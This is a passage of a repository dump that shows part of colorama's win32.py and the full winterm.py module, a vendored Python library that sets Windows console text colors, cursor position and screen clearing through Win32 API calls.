| return num_written.value 140 | 141 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 142 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 143 | handle = _GetStdHandle(stream_id) 144 | attribute = wintypes.WORD(attr) 145 | length = wintypes.DWORD(length) 146 | num_written = wintypes.DWORD(0) 147 | # Note that this is hard-coded for ANSI (vs wide) bytes. 148 | return _FillConsoleOutputAttribute( 149 | handle, attribute, length, start, byref(num_written)) 150 | 151 | def SetConsoleTitle(title): 152 | return _SetConsoleTitleW(title) 153 | -------------------------------------------------------------------------------- /thirdlib/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. 31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other, 32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back 33 | # and BRIGHT is overwritten by Style codes. 34 | self._light = 0 35 | 36 | def get_attrs(self): 37 | return self._fore + self._back * 16 + (self._style | self._light) 38 | 39 | def set_attrs(self, value): 40 | self._fore = value & 7 41 | self._back = (value >> 4) & 7 42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 43 | 44 | def reset_all(self, on_stderr=None): 45 | self.set_attrs(self._default) 46 | self.set_console(attrs=self._default) 47 | self._light = 0 48 | 49 | def fore(self, fore=None, light=False, on_stderr=False): 50 | if fore is None: 51 | fore = self._default_fore 52 | self._fore = fore 53 | # Emulate LIGHT_EX with BRIGHT Style 54 | if light: 55 | self._light |= WinStyle.BRIGHT 56 | else: 57 | self._light &= ~WinStyle.BRIGHT 58 | self.set_console(on_stderr=on_stderr) 59 | 60 | def back(self, back=None, light=False, on_stderr=False): 61 | if back is None: 62 | back = self._default_back 63 | self._back = back 64 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style 65 | if light: 66 | self._light |= WinStyle.BRIGHT_BACKGROUND 67 | else: 68 | self._light &= ~WinStyle.BRIGHT_BACKGROUND 69 | self.set_console(on_stderr=on_stderr) 70 | 71 | def style(self, style=None, on_stderr=False): 72 | if style is None: 73 | style = self._default_style 74 | self._style = style 75 | self.set_console(on_stderr=on_stderr) 76 | 77 | def set_console(self, attrs=None, on_stderr=False): 78 | if attrs is None: 79 | attrs = self.get_attrs() 80 | handle = win32.STDOUT 81 | if on_stderr: 82 | handle = win32.STDERR 83 | win32.SetConsoleTextAttribute(handle, attrs) 84 | 85 | def get_position(self, handle): 86 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 87 | # Because Windows coordinates are 0-based, 88 | # and win32.SetConsoleCursorPosition expects 1-based. 89 | position.X += 1 90 | position.Y += 1 91 | return position 92 | 93 | def set_cursor_position(self, position=None, on_stderr=False): 94 | if position is None: 95 | # I'm not currently tracking the position, so there is no default. 96 | # position = self.get_position() 97 | return 98 | handle = win32.STDOUT 99 | if on_stderr: 100 | handle = win32.STDERR 101 | win32.SetConsoleCursorPosition(handle, position) 102 | 103 | def cursor_adjust(self, x, y, on_stderr=False): 104 | handle = win32.STDOUT 105 | if on_stderr: 106 | handle = win32.STDERR 107 | position = self.get_position(handle) 108 | adjusted_position = (position.Y + y, position.X + x) 109 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 110 | 111 | def erase_screen(self, mode=0, on_stderr=False): 112 | # 0 should clear from the cursor to the end of the screen. 113 | # 1 should clear from the cursor to the beginning of the screen. 114 | # 2 should clear the entire screen, and move cursor to (1,1) 115 | handle = win32.STDOUT 116 | if on_stderr: 117 | handle = win32.STDERR 118 | csbi = win32.GetConsoleScreenBufferInfo(handle) 119 | # get the number of character cells in the current buffer 120 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 121 | # get number of character cells before current cursor position 122 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 123 | if mode == 0: 124 | from_coord = csbi.dwCursorPosition 125 | cells_to_erase = cells_in_screen - cells_before_cursor 126 | elif mode == 1: 127 | from_coord = win32.COORD(0, 0) 128 | cells_to_erase = cells_before_cursor 129 | elif mode == 2: 130 | from_coord = win32.COORD(0, 0) 131 | cells_to_erase = cells_in_screen 132 | else: 133 | # invalid mode 134 | return 135 | # fill the entire screen with blanks 136 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 137 | # now set the buffer's attributes accordingly 138 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 139 | if mode == 2: 140 | # put the cursor where needed 141 | win32.SetConsoleCursorPosition(handle, (1, 1)) 142 | 143 | def erase_line(self, mode=0, on_stderr=False): 144 | # 0 should clear from the cursor to the end of the line. 145 | # 1 should clear from the cursor to the beginning of the line. 146 | # 2 should clear the entire line. 147 | handle = win32.STDOUT 148 | if on_stderr: 149 | handle = win32.STDERR 150 | csbi = win32.GetConsoleScreenBufferInfo(handle) 151 | if mode == 0: 152 | from_coord = csbi.dwCursorPosition 153 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 154 | elif mode == 1: 155 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 156 | cells_to_erase = csbi.dwCursorPosition.X 157 | elif mode == 2: 158 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 159 | cells_to_erase = csbi.dwSize.X 160 | else: 161 | # invalid mode 162 | return 163 | # fill the entire screen with blanks 164 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 165 | # now set the buffer's attributes accordingly 166 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 167 | 168 | def set_title(self, title): 169 | win32.SetConsoleTitle(title) 170 | --------------------------------------------------------------------------------